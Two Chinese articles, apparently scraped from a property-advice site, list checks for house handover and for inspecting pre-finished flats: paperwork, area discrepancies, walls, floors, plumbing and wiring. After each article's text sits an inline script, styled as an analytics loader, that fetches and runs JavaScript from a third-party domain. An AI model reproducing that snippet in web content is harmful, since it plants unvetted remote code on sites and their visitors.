交房有哪些注意事项 不看后悔！

买房子是件大事，交房时更需要注意。交房有哪些注意事项？对于购房者来说，没有到手就不能完全保证房子的质量。如果移交房屋时发现与承诺不一致，应拒绝签字，以免影响其权益。那么，交房有哪些注意事项呢?一、交房时有哪些注意事项之需要去物业部门查看以下信息:1.检查房屋的《房屋质量保证书》并将其带走。2、查看《家居使用须知》，也可以带走。3、检查《竣工验收记录表》，仔细检查后，不能带走。4.核对面积测量表，了解房屋实际面积。5、要求管道配图(水、强电、弱电、结构)可以带走，以备日后维修。数据通常可以在10分钟内查看。二、交房有哪些注意事项之确认多退少补的面积、合同、价格:确认销售合同的图纸与实际是否一致，结构是否与原设计相同，房屋面积是否由房地产部门实际测量，与合同面积是否有差异。(首先看一下销售合同，看看有多大的不同，一般不考虑在3%以内，超出的就需要处理，建议将合同设置为2%的误差，但不超过5%最好)。一般来说，所需的时间因人而异。看了30到40分钟的信息后，基本上可以查看一下房子。注意暂时不要交物业费和相关费用。这时，物业会催促你交付，你可以和他们沟通，然后在验收后支付费用。三、交房有哪些注意事项之房屋实际验收:从房子里拿钥匙，每个钥匙都应该有一把楼层钥匙、一把门钥匙、一把邮箱钥匙等等。然后你可以和物业人员一起去看房子。1.交房子的时候带上工具箱首先，你必须准备好工具，检查房子，有检查房子的工具。你必须带一把锤子、一根水管和一支电笔。这些都是必要的工具。将这些工具放在一起，并考虑这些工具如何使用。锤子是用来敲打墙壁查看是否有空鼓。软管用于检查地漏和排水坡度。电笔是自然检查开关电路插座。2.移交房屋时仔细核对图纸在付款的时候有一个特别的地方需要注意，那就是检查房子的面积。一平方米是几万元，要仔细核对一下。同时，注意一些特殊场所的尺度。例如，厨房和浴室，厨房要放冰箱，浴室要放洗衣机，这些都应该在尺寸上考虑，避免空间的缺乏留下。以上是交房有哪些注意事项相关回答。在移交房屋前，一定要做好房屋验收工作。如发现异常情况，应及时与销售中心协商。同时，你必须拒绝签字，然后在问题解决后再签字。看完以上，交房有哪些注意事项相信业主心中有数。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

带装修的房子验收时有哪些注意事项

买新房子的时候有两种选择，一种是买毛坯房，这种则需要自己整体进行装修；还有一种是直接买带装修的房子，即所谓的精装房，这种房子基本已经装修完成，厨房、卫生间等基本的设备也已经安装好了，房主无需再进行装修，可谓省心省时。那么买带装修的房子在验收时要注意些什么呢？主要是这几点：一、整体结构带装修的房子验收时首先要观察房子的整体结构，功能区域的分割、隔断、阳台等是否装修到位，与购买时承诺的是否相同。二、内部装修验收1、门窗：检查每个门窗表面是否完好，安装是否牢固，关闭和打开是否顺畅，接合的地方要严密，同时要用钥匙检验房门能否正常使用。2、墙壁：察看墙面上漆情况，是否平整无裂纹，可以用手摸墙面，看看墙面是否光滑和洁净，同时墙面需要预留空调的管孔位置。3、地面：带装修的房子地面有两种装修情况，如果是地砖，需要检查地砖铺贴是否平整无缝隙，有无高低不平，地砖颜色要一致，砖面应完好无刮痕；如果是地板则要检查有无起翘情况，敲敲地板是不是空心的，走过时会否发出声响，同时与踢脚板连接要严密。地面部分特别是靠近墙角和门口的地方，需要多注意一下。三、功能区域验收1、卫生间：带装修的房子在验收卫生间时要先检查各个排水和出水管道，察看排水和出水是否顺畅。再次检查天花板有没有出现渗水，墙面是否平整有没有起泡或者掉漆，排风扇有没有安装好。坐便器和洗手台打磨是否平滑和光洁，有没有裂纹。如果有浴缸还应检查浴缸有没漏水情况，出水是不是顺畅。2、厨房：带装修的房子在验收厨房时要检查各个厨柜安装是否到位、牢固，柜门的开闭要顺畅。台面要光洁平整，洗菜池要试验排水、装水情况，察看有无出现异物堵塞，水龙头流出的水有无出现锈迹，厨房内部有没有渗水的痕迹。另外还需要检查煤气管道情况，是否安全和正常使用，最后应看看各类表的度数是不是为零。四、电路验收带装修的房子验收时要特别注意房子内的电路是否正常和安全，电掣有没有被更改过，配电箱的线路分布情况，电源面板的位置安装是否合理。在验收的时侯，需要进行拉闸和断电试验，看下关闭后是否已经彻底断电，再打开时各分支线路能否正常使用，灯具类检查是否都可以点亮。还要检查各种插口能否正常使用，位置分布是否合理。购买带装修的房子虽然可以帮业主节省很多环节和时间，但验收时还是需要认真检查，否则很容易出现各种问题，为以后留下隐患。了解以上的注意事项，就知道购买带装修的房子时需要验收哪些内容了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();